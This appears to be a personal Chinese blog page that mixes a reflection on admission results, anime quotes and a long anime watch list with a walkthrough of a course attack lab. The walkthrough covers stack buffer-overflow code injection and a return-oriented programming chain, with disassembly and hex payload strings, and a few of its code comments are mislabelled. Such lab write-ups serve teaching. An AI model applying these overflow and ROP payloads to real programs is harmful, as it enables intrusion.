leenldk 发布的文章

姚班二招结果公布,wyy,yh,wkl,zqf,zhw都去了茶园
要是说不觉得一点伤心,一定是不可能的
但这只是人生中的一个选择,这个选择也许我很久之前就已经做出了
我只是选择了更适合自己,自己更喜欢的道路而已
怎么可能后悔

想帮助他人的想法,因为美丽所以憧憬过
因此,那并不是从自身所流露出的情感!
如果这都不是伪善,那还能是什么!
自身被“为他人而活”这种强烈观念而驱使
带着傲慢不断前进
但毕竟是赝品
靠这种伪善,什么都不能拯救
不,本来,就连要拯救什么都决定不了
看吧,最终结果就是这个
开始就不知道拯救的方法
也没有拯救他人之物
给我好好看着,自己这丑恶的正义躬行者的下场
那个理想是错误的
他人比自己更重要这一想法
希望谁都能幸福这一愿望
只是空想的童话
如果没有这种理想就活不下去的话
就抱着理想溺死吧

打算开个坑记录一下我看过的番
如果可以的话印象深刻一些的会写些评论,可能会慢慢补
我不想给每部番给一个分数,因为分数过于死板,每部番有各自的亮点,各自的引人入胜之处

一. 完全看完过的番(没有特别顺序):

编号 名字 tag
1 冰菓 校园,推理,轻致郁
2 叛逆的鲁路修 s1 && s2 校园,机战,反常规主角,中二,热血,智斗
3 我的妹妹 不可能那么可爱 s1 && s2 校园,后宫,妹系,喜剧,轻致郁
4 埃罗芒阿老师 后宫,妹系,喜剧
5 线上游戏的老婆 不可能是女生 校园,狗粮,喜剧,中二
6 未闻花名 催泪,清新
7 Re:CREATOR 乱斗,中二,嘴炮
8 欢迎来到实力至上主义教室 校园,智斗,烂尾
9 Re:从零开始的异世界生活 热血,剧情,穿越
10 干物妹!小埋 s1 搞笑,日常
11 Charlotte 超能力,时间循环,烂尾
12 约会大作战 s1 后宫,超能力
13 齐木楠雄的灾难 s1 搞笑,装逼,日常
14 我的青春恋爱物语果然有问题 s1 && s2 校园,日常,治愈,三角
15 路人女主的养成方法 s1 && s2 校园,励志,轻后宫
16 白色相簿2 校园,胃痛,三角
17 love live s1 校园,偶像,轻百合
18 笨女孩 搞笑,校园,智障
19 中二病也要谈恋爱 s1 && s2 校园,狗粮,三角,日常
20 龙与虎 校园,清新,治愈
21 调教咖啡厅 狗粮,日常
22 南家三姐妹 校园,搞笑,日常
23 new game s1 && s2 轻百合,工作,日常
24 citrus~柑橘味香气~ 百合,恋爱
25 比宇宙更远的地方 励志,轻百合,治愈,友情
26 紫罗兰永恒花园 古风,治愈
27 魔法少女小圆 暗黑,时间循环,轻百合,友情
28 overlord s1 装逼,智斗,后宫
29 Fate/Zero s1 && s2 反常规主角,乱斗,魔法
30 clannad s1 搞笑,治愈,催泪,校园,日常
31 四月是你的谎言 催泪,音乐,成长
32 darling in the franxx 机战,爱情,成长,烂尾
33 刀剑神域 s1 纯爱,后宫,热血,游戏
34 命运石之门 世界线穿越,中二,科学
35 缘之空 后宫,妹系,多线
36 下流梗不存在的灰暗世界 搞笑,黄段子
37 fate stay night (ubw) s1 && s2 战斗,热血,
38 no game no life 智斗,后宫,穿越

二. 看过的动画电影:

编号 名字 tag
1 你的名字 催泪,时间穿越,爱情
2 no game no life zero 催泪,智斗,爱情
3 魔法少女小圆:叛逆的物语 续集,剧情,暗黑
4 刀剑神域:序列之争 热血,游戏
5 秒速五厘米 催泪,爱情,胃痛

三. 那些开下的坑(有生之年系列):

编号 名字 已补集数 暂弃原因
1 Love Live s2 0 番的质量稍低,剧情略弱
2 干物妹!小埋R 6 好吧,这个可能之后会去补
3 罪恶王冠 12 据说烂尾,剧情走向略迷(符合大河内作风
4 小林家的龙女仆 11 大概也可能会补
5 在下坂本,有何贵干? 9 其实很无聊的好么,完全比不上齐神
6 狼与香辛料 3 评价较高,但没有太大兴趣去补
7 真实之泪 2 胃疼向剧情?
8 境界的彼方 5 剧情略迷,但大概会去补?
9 凉宫春日的忧愁(09版 21 八月太爽了,让我缓一缓
10 comic girls 3 芳文废萌,可能有点废过了
11 齐木楠雄的灾难 s2 17 完全没有s1的水准
12 clannad after story 3 在补了,在补了,咕咕
13 超能力女儿 7 可能会补
14 宅男腐女恋爱真难 6 还挺有趣的,大概也会补
15 overlord s2 2 正在补,这个蜥蜴无法吐槽
16 约会大作战 s2 5 过于硬核的后宫番
17 为美好世界献上祝福 s2 0 可能会补
18 进击的巨人 13 出三补一
19 jojo的奇妙冒险 4 可能会补
20 命运石之门0 2 出完再补?
21 如果有妹妹就好了 5 算是。。。正在补吧
22 eva 6 超经典,但一直没补

四. 补番列表:

编号 名字 原因
1 来自新世界 剧情向,神展开
2 princess principle 据说还不错?
3 高达seed(高达系列) 高达经典作品
4 来自深渊 b moe评价不错,画风比较清新

五. 所追新番:

编号 名字 进度
1 来玩游戏吧 2
2 轻羽飞扬 2
3 工作细胞 2
4 island 2
5 杀戮天使 1
6 少女歌剧 4

开头旁白

这个世界上任何人都有没见过的东西
它很温柔非常甜美
大概,如果可以看见的话
谁都会想要的吧
正因为如此
世界才把它藏了起来
为了让人无法那么轻易地得到
但是总有一天会有人找到
应该得到那个唯一的人,一定能把它找出来
世界就是这样的

高须与栉枝的对话

高须,看过幽灵吗
我相信这个世界上有幽灵
但是也没真的见过
也一点也不相信那些见过的人所说的话
而且呢,同样的想过
我也相信将来有一天会恋爱会结婚会变得幸福
但是实际却没有对谁有过这样的感觉
世界上那些理所当然的谈着恋爱的人,对我来说非常遥远
因为我看不见嘛
果然不存在幽灵,一生也不会见到了,都快要放弃了
所以对你的问题的回答是:没有

我大概是想看见的吧
所以也会去神秘现象多发地点
也会看恐怖片
我觉得啊
有灵感的人第一次看到幽灵的时候也会吃惊的吧
虽然看到了,但想着"果然是不存在"而打消念头的人
相反也许有经过努力才终于看见的人
所以你也不用就认定了“一生都不可能见到 ”

1.code injection attacks

代码注入攻击
利用gets等方法不检查读入串长度的性质攻击
给读入一个足够长的串,使其溢出给定的长度,进而达到修改栈中其他内容的目的

level 1

利用test函数的溢出,调用touch函数

void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
 }

先看一下getbuf中的内容

(gdb) disas getbuf
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>: sub    $0x28,%rsp
   0x00000000004017ac <+4>: mov    %rsp,%rdi
   0x00000000004017af <+7>: callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    retq   
End of assembler dump.

开始时将rsp减少0x28,即需要一个长为0x28的串来溢出到指定位置
rsp在减小前指向getbuf函数返回的位置
溢出到指定位置后需要修改函数返回的位置
解码touch1

(gdb) disas touch1
Dump of assembler code for function touch1:
   0x00000000004017c0 <+0>: sub    $0x8,%rsp
   0x00000000004017c4 <+4>: movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>
   0x00000000004017ce <+14>:    mov    $0x4030c5,%edi
   0x00000000004017d3 <+19>:    callq  0x400cc0 <puts@plt>
   0x00000000004017d8 <+24>:    mov    $0x1,%edi
   0x00000000004017dd <+29>:    callq  0x401c8d <validate>
   0x00000000004017e2 <+34>:    mov    $0x0,%edi
   0x00000000004017e7 <+39>:    callq  0x400e40 <exit@plt>
End of assembler dump.

发现touch1的地址为0x4017c0
因此返回到0x4017c0位置
由于是little-endian,因此溢出位需要为 c0 17 40 00 00 00 00 00
只需用hex2raw将
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
转码即可

level 2

利用test的溢出,以参数cookie调用函数touch2

可以通过溢出构造一段二进制代码,然后用level1的方法跳转至这段代码
注意ret方法是跳转至栈顶的内存位置,然后弹出栈顶
因此可以在构造代码中修改函数参数rdi,然后利用ret跳转至touch2de
注入内容如下:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
b0 dc 61 55 00 00 00 00 /* 0x5561dcb0 */
ec 17 40 00 00 00 00 00 /* touch2 */
48 c7 c7 fa 97 b9 59 /* movq $0x59b997fa,%rdi */
c3 /* retq */

其中0x5561dcb0用于跳转之后汇编二进制代码处

level 3

同样利用test的溢出,传入touch3一个字符串指针,该字符串与cookie相等

构造字符串cookie,构造代码使rdi指向字符串位置,同理利用ret跳转至touch2
注入内容如下:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
b9 dc 61 55 00 00 00 00 /* 0x5561dcb9 */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 00 /* 0x59b997fa */
48 c7 c7 b0 dc 61 55 /* movq $0x5561dcb0,%rdi */
c3 /* retq */

栈设计为从大到小增长的好处在于,这样可以使输入的字符串在内存中是正序的。
而数字由于采用little-endian,因此需要倒叙输入

2. return-oriented programming

基于ret操作的构造攻击
retq操作在汇编中被编码为c3,可以将rip(当前运行位置)指向栈顶代表的地址并弹栈,可以利用这个性质在栈中构造一系列地址,依次运行

level 2

利用ROP实现level 2的目的
注意到farm中的这样两段代码:

00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq   

00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq   

注意到第二段中的 58 90 c3
其中 58 为 popq rax,90 为 nop (无操作),c3 为 retq
第一段中的 48 89 c7 c3
其中 48 89 c7 为 movq rax rdi
综合两段,可构造:
popq rax
movq rax rdi
只需在栈中加入所需的值,即可将rdi赋为所需的值
注入内容如下:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00 /* 0x4019ab */
fa 97 b9 59 00 00 00 00 /* 0x5561dcb9 */
a2 19 40 00 00 00 00 00 /* 0x4019a2 */
ec 17 40 00 00 00 00 00 /* touch2 */